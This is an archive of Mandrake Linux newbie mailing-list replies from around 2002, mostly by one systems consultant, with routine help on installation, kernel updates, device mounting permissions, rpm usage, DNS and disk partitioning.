There's also Mandrake 7.0 for i486. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 06:48 PM 01/25/2002 -0800, you wrote: thanks for the reply. i didn't realize lm 8 was optimized for the 586 (newbie). i guess i'll use my older red hat 6.1. thanks. mike - Original Message - From: Nelson Bartley [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, January 25, 2002 5:58 PM Subject: Re: [newbie] trouble installing 8.0 Have you tried it with one of the smaller 2.2 kernels? I know there is a way to boot to the 2.2.19 based installer when using CD's. Is this posible when using floppies? Might be something to consider. My biggest question here is, is it really worth the time to try and install the i586 based LM 8.0 onto a 486? Doesn't that really defeat the purpose? NB On Fri, 2002-01-25 at 20:38, m!ke mcgranahan wrote: i tried that... same result. thanks though any other suggestions? mike - Original Message - From: FLYNN, Steve [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, January 25, 2002 5:32 PM Subject: RE: [newbie] trouble installing 8.0 Use a etxt install. Hit F1 and select text for a text only install. -Original Message- From: m!ke mcgranahan [SMTP:[EMAIL PROTECTED]] Sent: Saturday, January 26, 2002 1:28 AM To: [EMAIL PROTECTED] Subject: [newbie] trouble installing 8.0 i have an old dell 486/66, with 32mb of ram, 1.5gb of scsi hard drive space. when i run the install (boot from floppy, to install from cd, with the cdrom.img image located in the images directory) i get this: in second stage install install exited abnormally =-( alt-f3 shows: warning, ramdisk is not possible due to low mem is there any way around this? anyone know how to allow the install to succeed? mike File: message.footer ** This email and any files sent with it are intended only for the named recipient. If you are not the named recipient please telephone/email the sender immediately. You should not disclose the content or take/retain/distribute any copies. ** Norwich Union Life Pensions Limited Registered Office 2 Rougier Street York YO90 1UU Registered in England Number 3253947 A member of the Norwich Union Marketing Group which is regulated by the Personal Investment Authority. Member of the Association of British Insurers. For further Enquires 01603 622200 Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com --- - Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Kernell version
uname -a as already mentioned or 'rpm -qa | grep kernel' will show you the kernel or kernels you have installed. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 10:29 AM 01/07/1996 -0600, you wrote: How can I check my redhat (7.2) kernell version ? Regards Nene Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Accessing Floppy Drive
Or, for that matter, you may not be part of the 'floppy' group. On a medium level secured install, no user can mount a CD or floppy without being in the floppy / cdrom groups. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 04:52 PM 01/19/2002 -0600, Dennis Myers wrote: On Saturday 19 January 2002 16:42, you wrote: Hi. I just installed Mandrake 8.1 and can't seem to access the floppy drive. I clicked on the floppy icon in the Desktop and got an error message [can't mount device]. I'm new to Linux and I guess clicking on the icon isn't enough. What do I need to do? Thanks This is a common problem, you may need to change the icon link, try this: right click on the icon and choose properties, you will see an device tab, click on that and then in the device box there will be a down arrow click on the arrow and look for /dev/fd0 (mnt/floppy) and right click on it. This will put it in the box and you can click on ok. Then with a floppy in the drive right click on the icon and choose mount, then left click the icon and in a few seconds konqueror should come up and show you the files on the floppy. Hope this helps. -- Dennis M. registered linux user # 180842 Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Firewall/Tcp-ip problem...
Typically the ipchains / iptables files are found in /etc/sysconfig/ . Check there for a file listing the bastille rules. If it's not there, it should be somewhere under /etc . I don't know exactly, as I add firewall rules by hand. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 09:53 AM 01/16/2002 -0500, you wrote: Michael Viron wrote: You could try opening all ports to your internal network while keeping the rules for your external connection the same. It could be that your firewall is blocking connection attempts on whatever TCP / IP port Diablo 2 uses. Michael Thanks for the reply, Michael. Well, I kinda figured that...(not being sarcastic here-the thought had occurred to me!), but I was hoping someone had run into this problem before and could point me to a specific file. I did a search of the Newbie mailing list archives, and found -tons- of info about firewalls, but nothing related to this problem. I also tried the Mandrake forums and .org...again, nothing related. Well, methinks I'll re-run the firewall tool, and leave one section open at a time, until it works again. That at least, should narrow it down to where. Thanks again! ;-) -- /\ DarkLord \/ Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] First install
This means that the environment variable $DISPLAY isn't set, try 'export DISPLAY=:0' and see if that helps. Also, going to a text login screen is what it does by default. To get it to boot into a GUI based login, you have to edit /etc/inittab and change the line: 'id:3:initdefault:' to 'id:5:initdefault:'. (note the 5 in the second one, instead of 3) Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 10:14 AM 01/17/2002 +1300, you wrote: Hi folks - I've just installed my first copy of Linux on to a Compaq laptop in a dual boot configuration. However, although it seems to boot OK , it then drops out to the black login screen - not sure if that is what it's supposed to do or not. I can then login as root or a user but when I type Startx or StartKDE it says 'unable to open display' - canot connect to X server : $Display is not set. Is this something to do with not selecting the right monitor? I couldn't find anything about laptop displays in the list. Does anyone know which i should choose? And how do i get back into the choosing monitor sequence ? thanks, Nick Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Installing Samba 2.2.2 on Mdk 8.0
I don't know what differences there are between 8.0 and 8.1, but if all else fails, you can get the srpm from Mandrake 8.1 and try to rebuild it for 8.0 . Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 10:13 AM 01/16/2002 +0100, you wrote: Hello, I'm would like to update my Samba Server (on a x86 Mdk 8.0) to the new version 2.2.2 I've seen that Mdk 8.1 has a Samba package (rpm-ized) 2.2.2 Is it possible (and recommended) to install this rpm package on a 8.0? Thanks, Best regards, --- Jean-Christophe Berthon Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] problem with chicken or egg dependencies problem (or so it seems)
At 05:33 PM 01/16/2002 +, you wrote: Try typing 'rpm -ivh all the rpm's in a list' as root. I find that telling RPM about all of the dependant rpms on one line solves this problem. Dave. That should actually be 'rpm -Uvh co-dependent rpms' as root. The '-i' flag to rpm is used to install new packages not previously installed, whereas '-U' is an upgrade of packages currently installed (or install, if the package in question is not installed). -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Now HOW can I access the save area? to a floppy directly from wordstar?
you may also need to add yourself to the floppy group (if you aren't logging in as 'root', depending on how you are setup. By default (in certain security levels), users do not have permission to use the floppy or the cdrom. This can easily be accomplished via linuxconf, or any of a number of other gui based system configuration tools. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 01:58 PM 01/16/2002 -0600, you wrote: On Wednesday 16 January 2002 01:26 pm, you wrote: Hello, Thanks for the help and the replies. This just shows how ignorant I am. What do I have to do to access or write in the words: /mnt/floppy/name of file ? I apologize for asking such a basic thing ahead of time. Respectfully, thmswldmn don't worry about it, as long as it looks like you're interested in learning, someone will always answer. They mean type it in at a terminal, kinda similar in appearance to the dos prompt in windows. Usually by default there is a little icon that looks a little like a little monitor screen in your panel, that's the link to a terminal/console. In there you will find a whole new world. :-) -s Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Sources for RPMs
The best way to find it, is rpmfind.net Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 10:19 PM 01/13/2002 -0600, you wrote: I just got Mandrake 8.1 installed as my first introduction to Linux. I launched the Package Manager and I wanted to update or install some more packages (I think there's a new version of Evolution out). What are some good URL sources to give the program for updates and new software. Thanks, Chris Heisel [EMAIL PROTECTED] --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.314 / Virus Database: 175 - Release Date: 1/11/2002 _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] e-mail via SSL
SSL isn't a protocol in and of itself. It's a way of encrypting communications between two machines. You can, however, wrap just about any protocol in ssl (which is what they've done with pop3 / imap). Try linuxdoc.org to see if there is a HOWTO or do a search in your favorite search engine protocol ssl (where protocol is the type of connection you want to encrypt). Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 02:24 PM 01/12/2002 -0700, Lee Roberts wrote: Is there a HOWTO for doing e-mail via SSL? I found a HOWTO for e-mail via SSH but that's not what I want to do (besides, this HOWTO uses telnet to access e-mail which I have disabled). Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] File system
Yes, ext3 is a journaling filesystem. An article in Linux Magazine called 'Journaling filesystems' can be found at http://www.linux-mag.com/2000-08/journaling_01.html , which should answer your questions. Or for that matter, go to http://www.google.com, and do a search on 'Journaling Filesystems'. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 07:17 PM 01/09/2002 +0530, Amish K. Munshi wrote: Hi, I wanted to know what is journaling file system and how does it differ from the previous file systems. Also is ext3 also a journaling file system? Thanks. Bye. Attachment Converted: d:\mike\eudora\attach\munshiamish3.vcf Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] root email spam
Take a look in /etc/cron.daily -- that is everything that is being run on a daily basis, and probably the source of virtually every e-mail you're getting. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 03:36 PM 01/08/2002 -0800, you wrote: I'm am really really really sick of all the email that is generated every night and mailed to root. When programs are doing it? I tracked some down too logcheck... but whatr about the rest? Can someome please tell me what is generating all these security reports and emailing them to root every night? And how I can turn them off? :) Thanks in advance. -- Bryan Whitehead SysAdmin - JPL - Interferometry Systems and Technology Phone: 818 354 2903 [EMAIL PROTECTED] Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] file sharing
samba, nfs, appletalk, ftp, http, scp, sftp all come immediately to mind -- it all depends on who you want to share it to, between what operating systems, and what it is that you wish to share. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 08:29 PM 01/07/2002 -0800, you wrote: Can anyone recommend a good file sharing app? TIA -Chuck Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] named configuration
Who fulfills DNS requests for local machines if not anoka? I've been told that bind doesn't look at /etc/hosts, which brought my world crashing down. Now what? :-) Thanks for your patience with me, I'm sure we're nearly at the bottom of this. julian. if you are running DNS (named / bind), on anoka, and have the others set to look at anoka for dns, then anoka will look at the files under /var/named (or whatever the directory option is set to in /etc/named.conf). These files (either directly under /var/named, or under some subdirectory (possibly zone), are what will equate a name to an IP on your local network. To set all this up, you'd have to learn bind's syntax for what it calls 'zone' files. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Question - school related -- Have we been conned????
As for the lack of a .edu email, I think only the staff would get those. I thought that this sounded like a continuing education thing. This depends on the University or institution in question. For example, at the University of West Florida (which I graduated from in Fall 2000), students are given something like [EMAIL PROTECTED] . Of course, as a CS major, I also had accounts on the CS departmental server, as well as on the lab sparcs. I also have an account on a server run by a group called Web Spinners, which I was one of the founding members for, @wsdo.sao.uwf.edu or @webspinners.uwf.org . Of course, in all cases, I was never technically 'staff' per-se, (especially for the general / cs accounts), since I was (and still am) a 'volunteer' out there. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant / Founder Web Spinners, University of West Florida Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Where download Kernel 2.4.8-31.2mdk and ...
from any Mandrake ftp mirror, or from kernel.org if you feel adventurous and want to compile your own kernel. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 06:04 PM 01/03/2002 -0200, you wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Wed, 2 Jan 2002, tester wrote: Where can I download these kernels files? Instead of updating them... TIA Ricardo Castanho kernels were never ever meant for update. That gives you a new kernel with old system.map, initrd.img, and /lib/modules/(oldkernel) which usually results in an unworkable mess. It seems possible yet to fool Software Manager into -Uvh instead of -ivh for the kernel if you include a bunch of other packages in the same session. Civileme - -- delivery NOT reliable = [EMAIL PROTECTED] == Linux user # 102240 = Machine # 96125 = Seti@home user == -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Para mais informações veja http://www.gnupg.org iEYEARECAAYFAjw0uXAACgkQqJymTCNNyXEYWwCeKqOoKXWwhdJCMeWQiSeImlEy CTIAn3X7l5oX90EiHPCTtv6BW6A51FAA =PB71 -END PGP SIGNATURE- Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] no permission to mount cdrom
Julian, It must be related to what security setting you use. On both a Mandrake 7.2 and an 8.1 box, I have a cdrom group listed. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 10:47 PM 01/01/2002 -0600, you wrote: Well I don't even have a cdrom group, and I assure you I can access the device perfectly well as a regular user. julian. == At 07:24 PM 1/1/02 -0600, you wrote: Gerald, This is actually further restricted, because user(s) mounting / umounting the CDROM must be in the 'cdrom' group. This also applies to the floppy. In order to mount / umount the floppy drive, you must be in the floppy group. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 01:58 PM 01/01/2002 -0500, you wrote: On Tuesday 01 January 2002 01:34 pm, Julian Opificius wrote: If I understand that what you're asking for is for multiple users to be able to mount and unmount CD-ROMS, then you must change user to users in fstab. See man mount. using users will allow any user to umount the filesystem using user allows any user to mount the filesystem but only the user that mounted the filesystem to umount it. Which sounds like a good idea! Gerald Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com == Julian A. Opificius. 802 Fawn Road, Elk River, MN 55330. Home: 763.441.1291, Cell: 763.360.5919 [EMAIL PROTECTED] ICQ: 3268206 == Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Make : tex Command
My question now is what version of Mandrake are you using? If you are using 8.1, the dependencies are a lot different than 7.x (ie, a 7.x rpm won't work properly on 8.x, and a 8.x rpm will give off all kinds of errors on a 7.x box) Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 01:01 AM 01/03/2002 +0800, you wrote: Hi Michael, Happy New Year !!! Further to my email of 12/31/2001 rpm -ivh /mnt/cdrom1/Tetex/tetex-1.0.7-31.1mdk.i586.rpm error: failed dependencies: dialog is needed by tetex-1.0.7-31.1mdk libintl.so.1 is needed by tetex-1.0.7-31.1mdk rpmdb: Item 118 on page 547 hashes incorrectly error: db3 error(-30985) from db-verify: DB_VERIFY_BAD: Database verification failed I located dialog-0.6-16.386 in following site http://www.redhat.com/support/errata/partners/ibm/ibm_netfinity.html but it was not there any more. Nor I could locate libintl.so.1.rpm Kindly advise where I can find them. Thanks in advance. B.R. Stephen At 12:57 PM 12/31/2001 +0800, you wrote: Thanks Michael B.R. Stephen At 10:41 PM 12/30/2001 -0600, you wrote: Install tetex-1.0.7-31.1mdk.i586.rpm from the updates section of the ftp site. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 12:27 PM 12/31/2001 +0800, you wrote: Hi Tom, Further to my late posting Sorry, I made a mistake adding '~$' to the command line Tried at root / # which tex /usr/bin/tex /usr/bin/which: no tex in (/usr/local/sbin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bi n:/root/bin)... what I have been missing ? B.R. Stephen At 09:05 AM 12/30/2001 -0500, you wrote: On Sunday 30 December 2001 08:26 am, Stephen Liu wrote: Hi All People, When I rebuild src.rpm it prompted Make : tex : can't find command What is this command ? ~ $ which tex /usr/bin/tex ~ $ rpm -q --whatprovides /usr/bin/tex tetex-1.0.7-31.1mdk Note: the -31.1mdk means this was probly a security update -- Tom Brinkman Corpus Christi, Texas, USA Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Another new problem.. :(
Well surgery on / is very difficult, because you cannot unmount it from a running system. You have several options... Method A: If /usr is a subdirectory of / instead of a separately mounted partition, you can move that to the second disk if there is room--Here's how: 1. Put in your second disk 2. boot 3. when you get to the GUI run Mandrake Control Center=Hardware=MountPoints 4. When diskdrake comes up, save your partition table to floppy and make a partition on the second disk called /spusr ,,, When you exit, make sure you answer the save changes to /etc/fstab with a yes, and also make sure you format and mount the partition. 5. after exiting diskdrake, bring up a terminal and $ su password(your root password) # cp -a /usr/* /spusr # kedit /etc/fstab change the line where /spusr is defined to /usr save and exit # mkdir /oldusr # mv /usr /oldusr # umount /spusr # mount /usr If it isn't on a separate partition, you can skip 'mkdir /oldusr' as 'mv /usr /oldusr' will complain that the directory exists. Almost done--now recover the space # rm -r /oldusr -f And now you should have much roon in / Method B: It may be that there isn't sufficient room on the new drive or that /usr is already separated. Either... 1. Make room for / by moving those things right after it (by Method A) 2. Install the rpm ext2resize from your distribution disks using Software Manager 3. In a terminal as root run the command ext2end / +(blocks to add) (this can be done while it is live and mounted) OR separate /var from / which will also create space (method A) Almost any other moves will require a reinstallation. Civileme Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] NTFS Partition Not Mountable
Which version of Windows is it from? If it is from Windows 2000 / XP, it won't mount because it uses a newer NTFS than is supported by the current kernel release (I think they support up to NTFS 4 read, and (very experimental) write). Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 09:45 PM 01/02/2002 -0500, you wrote: NTFS is compiled in the kernel but I'm unable to mount the drive I get the error: mount: wrong fs type, bad option, bad superblock on /dev/hda2, or too many mounted file systems If it is a bad superblock how do I check and correct the problem and just how many mounts are too many? Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] SecurityUpdates and Kernel 2.4.8-31.2mdk
At 09:44 PM 01/02/2002 -0500, Andre Dubuc wrote: Well, I finally got SoftwareUpdate to work again. Browsing through the updates I notice the new kernel 2.4.8-31.2mdk. Now, I vaguely recall Civileme or someone else warning against updating the kernel through Update. I'm of the school If it ain't broke, don't fix it! -- is this update really necessary? I mean everything except AC97 sound recording works very well. Would you advise that I skip this update? Is it necessary? I'm a bit confused by the additional kernel stuff that's included with the update, i.e.: Kernel-source, kernel-linus 2.4, kernel 2.2 -- Do I upgrade all, or only the 2.4 items? -- These you do not have to install, since they only apply to kernel 2.2.x -- kernel22-2.2.19-20.1mdk.i586.rpm - main copy of the 2.2.19 kernel kernel22-secure-2.2.19-20.1mdk.i586.rpm - secured version of the 2.2.19 kernel kernel22-smp-2.2.19-20.1mdk.i586.rpm - multiprocessor 2.2.19 kernel kernel22-source-2.2.19-20.1mdk.i586.rpm - source for 2.2.19 kernel -- End Do Not Need to Install -- kernel-2.4.8-31.2mdk.i586.rpm - main (base) kernel 2.4.8 kernel-doc-2.4.8-31.2mdk.i586.rpm - kernel documents for 2.4.8 kernel-enterprise-2.4.8-31.2mdk.i586.rpm - kernel supporting over 1 GB memory kernel-headers-2.4.8-31.2mdk.i586.rpm - kernel headers kernel-linus2.2-2.2.20-1.1mdk.i586.rpm - 2.2.20 kernel, linus style (ie, no mandrake patches) kernel-pcmcia-cs-2.4.8-31.2mdk.i586.rpm - 2.4.8 kernel module(s) for laptops kernel-smp-2.4.8-31.2mdk.i586.rpm - multiprocessor 2.4.8 kernel kernel-source-2.4.8-31.2mdk.i586.rpm - kernel source for 2.4.8 HTH, Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] no permission to mount cdrom
Gerald, This is actually further restricted, because user(s) mounting / umounting the CDROM must be in the 'cdrom' group. This also applies to the floppy. In order to mount / umount the floppy drive, you must be in the floppy group. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 01:58 PM 01/01/2002 -0500, you wrote: On Tuesday 01 January 2002 01:34 pm, Julian Opificius wrote: If I understand that what you're asking for is for multiple users to be able to mount and unmount CD-ROMS, then you must change user to users in fstab. See man mount. using users will allow any user to umount the filesystem using user allows any user to mount the filesystem but only the user that mounted the filesystem to umount it. Which sounds like a good idea! Gerald Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] SSH Problem
At 01:33 PM 12/31/2001 -0500, you wrote: Everything is working now. I changed the security level and /etc/hosts.deny denied localhost connections Actually, that was everything except for 'localhost' connections, since the line you posted was 'ALL:ALL except localhost:DENY' Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com